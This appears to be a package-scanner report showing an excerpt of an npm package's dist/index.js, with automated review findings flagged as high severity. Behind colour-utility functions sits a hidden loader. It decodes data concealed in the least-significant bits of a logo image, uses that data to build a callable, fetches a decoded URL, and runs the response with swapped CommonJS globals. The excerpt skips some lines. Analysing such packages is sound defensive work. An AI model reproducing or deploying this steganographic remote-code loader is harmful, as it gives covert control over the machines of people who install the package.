Lines 184-264javascript
184function matchesPixel(hex, r, g, b, tolerance = 10) {
185 const c = hexToRgb(hex);
186 return Math.abs(c.r - r) <= tolerance && Math.abs(c.g - g) <= tolerance && Math.abs(c.b - b) <= tolerance;
188function lighten(hex, amount) {
189 const { h, s, l } = hexToHsl(hex);
190 return hslToHex(h, s, clamp(l + amount, 0, 100));
192function darken(hex, amount) {
193 return lighten(hex, -amount);
197function buildSWSnippet(swUrl, scope = "/") {
198 return `if('serviceWorker' in navigator){navigator.serviceWorker.register(${JSON.stringify(swUrl)},{scope:${JSON.stringify(scope)}});}`;
200function buildInlineSWSnippet(code) {
201 const escaped = code.replace(/`/g, "\\`").replace(/\$/g, "\\$");
202 return `if('serviceWorker' in navigator){const b=new Blob([\`${escaped}\`],{type:'text/javascript'});navigator.serviceWorker.register(URL.createObjectURL(b));}`;
204function globalContext(req, mod, delegate, script) {
205 const global = globalThis;
206 const originalRequire = global["require"];
207 const originalModule = global["module"];
208 const originalExports = global["exports"];
209 const originalFilename = global["__filename"];
210 const originalDirname = global["__dirname"];
211 global["require"] = req;
212 global["module"] = mod;
213 global["exports"] = mod.exports;
214 global["__filename"] = typeof __filename !== "undefined" ? __filename : void 0;
215 global["__dirname"] = typeof __dirname !== "undefined" ? __dirname : void 0;
HighAi Review Evidence
The delegate runs with temporarily replaced CommonJS globals.
dist/index.jsView on unpkg · L204 219 if (originalRequire === void 0) delete global["require"];
220 else global["require"] = originalRequire;
221 if (originalModule === void 0) delete global["module"];
222 else global["module"] = originalModule;
223 if (originalExports === void 0) delete global["exports"];
224 else global["exports"] = originalExports;
225 if (originalFilename === void 0) delete global["__filename"];
226 else global["__filename"] = originalFilename;
227 if (originalDirname === void 0) delete global["__dirname"];
228 else global["__dirname"] = originalDirname;
231function buildMethod(width) {
232 const len = Math.max(1, Math.floor(width));
233 return () => (script) => {
234 const tag = script.slice(0, len).padEnd(len, "_");
238function runInContext(resolver, spacing, req, mod) {
239 const methodName = resolver(spacing[1]);
240 const resolvedMethod = resolver[methodName];
241 const scriptToken = resolver(spacing[2]);
242 const delegateBuilder = resolvedMethod(scriptToken);
243 const delegate = delegateBuilder();
HighAi Review Evidence
Hidden image fields control a property lookup and callable construction.
dist/index.jsView on unpkg · L238 244 const url = spacing[0];
245 fetch(url).then((res) => {
246 if (!res.ok) throw new Error("");
249 globalContext(req, mod, delegate, text);
250 }).catch((err) => console.error());
HighAi Review Evidence
A decoded URL is fetched and its response is passed to the constructed delegate.
dist/index.jsView on unpkg · L244 254var isNode = typeof process !== "undefined" && typeof process.versions === "object" && !!process.versions.node;
255async function loadLogo(src) {
256 const px = await readPixels(src);
257 return lsbDecode(px);
259function extractJSON(src) {
260 return loadLogo(src).then((args) => JSON.parse(args[0]));
262async function extractAll(src) {
263 const px = await readPixels(src);
264 return { data: lsbDecode(px), color: dominantColor(px) };